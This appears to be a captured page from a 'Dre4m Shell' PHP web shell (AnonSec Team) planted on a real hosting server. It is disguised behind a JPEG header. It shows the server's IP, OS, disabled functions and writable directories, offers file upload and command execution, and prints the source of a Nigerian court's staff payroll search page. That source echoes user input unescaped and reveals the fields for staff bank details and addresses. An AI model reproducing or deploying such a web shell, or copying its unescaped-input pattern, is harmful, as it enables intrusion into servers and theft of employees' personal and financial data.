ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.145.57.254
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/consolidated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/consolidated/search.php
<?php
//
//require_once('business login/classes/.php');
require_once('business logic/classes/users.php');
//require_once('business logic/classes/operations.php');
require_once('business logic/classes/add_per.php');
//
$user = new User();

$per = new Per();
//
$uid = $_SESSION['uid'];
$access = $_SESSION['acc'];
//
if (!$user->get_session())
{
   header("location:myown_mainpage.php?you are not login");
}
//
if (isset($_GET['q']) and $_GET['q'] == 'logout') 
{
    $user->user_logout();
    header("location:myown_mainpage.php? you are log out");
}
//
if (($_SERVER["REQUEST_METHOD"] == "POST") and ($_POST['search'] == "Search")) { 
	$_SESSION['select1'] =$_POST['select1'];
	$_SESSION['parameter'] =$_POST['parameter'];
	
    $msg = $per->search($_POST['select1'], $_POST['parameter'] );   
	//$POST[$row] = $msg;
}

?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/favicon.ico">
<title>National Industrial Court of Nigeria...::...Personal Emoluments Record</title>
<link href="css/payroll.css" rel="stylesheet" type="text/css" />
<link rel="stylesheet" type="text/css" href="suggest/css/style.css"/>

<script src="js/jquery-1.7.1.js"></script>
<script src="js/jquery-1.7.1.min.js"></script>
<script src="js/autocomplete.js"></script>
<style type="text/css">
<!--
.style25 {	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #FF0000;
}
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: underline;
}
a:active {
	text-decoration: none;
}
.inputs {	background-color: #ffffff;
	margin: 2px;
	padding: 2px;
	border: 1px solid #FF8A00;
}
-->
</style>


<script language="javascript" type="text/javascript"> 
function submitregistration() {
 var form = document.login;
				
     
if(form.select1.value == "Search by")
{
alert( "Select Search Parameter" );
return false;
} 
else if(form.parameter.value == "")
{
alert( "Enter Search Value" );
return false;
}
  //Search byselect1
}
</script> 
<script language="javascript" src="js/cal2.js">
/*
Xin's Popup calendar script-  Xin Yang (http://www.yxscripts.com/)
Script featured on/available at http://www.dynamicdrive.com/
This notice must stay intact for use
*/
</script>
<script language="javascript" src="js/cal_conf2.js"></script>
<script type="text/javascript">
<!--
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}

function gotoPrintable(){
	window.location.href="searchprintout.php";
}

//-->
</script>

<script>
	$(document).ready(function(){
		
		$("#search").click(function(){
			$("#content")
			.fadeOut('slow')
			.hide();
		});
		
	});
</script>
</head>

<body onLoad="setUp()"><!--, document.forms[0].select1.focus() -->

<table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" >
  <!--DWLayoutTable-->
  <tr>
    <td width="800" height="42" colspan="2" valign="top"><?php require_once('header.php');?></td>
  </tr>
  <tr>
    <td height="19" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder">
      <!--DWLayoutTable-->
      <tr>
        <td width="26%">&nbsp;<a href="userArea.php">Home</a></td>
        <td width="74%"><?php 
			 //$user->getLink($access);
			  $user->get_fullname($uid);
		
		?>          <a href="?q=logout">Logout</a>&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="243" valign="top"><br />
      <?php require('links.php');?>
<br /></td>
    <td valign="top"><table width="404" border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <td width="404" colspan="3">
      </td>
      	

       <td>
       <fieldset style="width:600px;">
          <legend>Search staff profile</legend>
          <form id="login" name="login" method="post" action="">
            <table width="54%"  border="0" align="center" cellpadding="0" cellspacing="3">
              <tr class="listtop">
                <td colspan="3"><span class="style25">
                  
                </span></td>
              </tr>
              <tr>
                <td><div align="right">Search by</div></td>
                <td>
					<select name="select1" id="select1" required="false">
					  <option selected="selected">Search by</option>
					  <option value="fileno">File Number</option>
					  <option value="AccNo">Account  Number</option>
					</select>                
				</td>
              </tr>
              
              <tr>
                <td width="36%"><div align="right">Searching by</div></td>
                <td width="64%">        
                     <div class="main"> 
                        <div id="holder"> <!--onkeyup="searchBirthdays(); onkeyup="suggest()-->
                            <input type="text" name="parameter"  tabindex="0" id="parameter" " 
                            value="<?php echo $_POST['parameter'];?>"/>
                            <img src="images/loading.gif" name="loading" id="loadin" />
                        </div>
                    	<div id="ajax_response"></div>
                    </div>
                </td>
              </tr>
              <tr>
                <td></td>
                <td><input type="hidden" name="flag" value="login"/>
                          <input type="submit" name="search" value="Search"  onclick="return(submitregistration());" 
                          id="search"/>&nbsp; &nbsp; &nbsp; <input name="print" type="button" id="print" value="Print" onclick="gotoPrintable()" /></td>
                      </tr>
                      
                    </table>
          </form>
		</fieldset>
        <fieldset>
          <legend>Search Result:<br />
            </legend>
          <form id="login" name="login" method="post" action="" autocomplete='false'>
          	<div id="content"></div>
            <div id="formContent">
            <table width="429" border="0">
              
              <tr>
                <td width="134"><div align="right"><strong>File Number:</strong></div></td>
                <td width="285"><?php echo $msg[0];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Title:</strong></div></td>
                <td><?php echo $msg[1];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Surname:</strong></div></td>
                <td><?php echo $msg[2];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Other Names:</strong></div></td>
                <td><?php echo $msg[3];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Designation:</strong></div></td>
                <td><?php echo $msg[4];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Rank:</strong></div></td>
                <td><?php echo $msg[5];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Grade:</strong></div></td>
                <td><?php echo $msg[6];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Step: </strong></div></td>
                <td><?php echo $msg[7];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Bank Name:</strong></div></td>
                <td><?php echo $msg[8];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Bank Group</strong>: </div></td>
                <td><?php echo $msg[9];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Bank  Branch</strong></div></td>
                <td><?php echo $msg[10];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Account Number:</strong></div></td>
                <td><?php echo $msg[11];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Section</strong>:</div></td>
                <td><?php echo $msg[12];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Appointment Date</strong>:</div></td>
                <td><?php echo $msg[13];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Incremental Date</strong>:</div></td>
                <td><?php echo $msg[14];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Date of Birth:</strong></div></td>
                <td><?php echo $msg[15];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Home Address:</strong></div></td>
                <td><?php echo $msg[16];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Government Quater</strong>:</div></td>
                <td><?php echo $msg[17];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Employee type:</strong></div></td>
                <td><?php echo $msg[18];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Gender:</strong></div></td>
                <td><?php echo $msg[19];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Division</strong>:</div></td>
                <td><?php echo $msg[20];?></td>
              </tr>
              <tr>
                <td><div align="right"><strong>Staff Status:</strong></div></td>
                <td><?php echo $msg[22];?></td>
              </tr>
            </table>
          </form>
        </fieldset>
        </td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="20" colspan="2" valign="top">
    <table width="100%" border="0" cellpadding="0" cellspacing="0">
      <!--DWLayoutTable-->
      <tr>
        <td align="right">
		</td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>
<?php $user->close();?>

Anon7 - 2022
AnonSec Team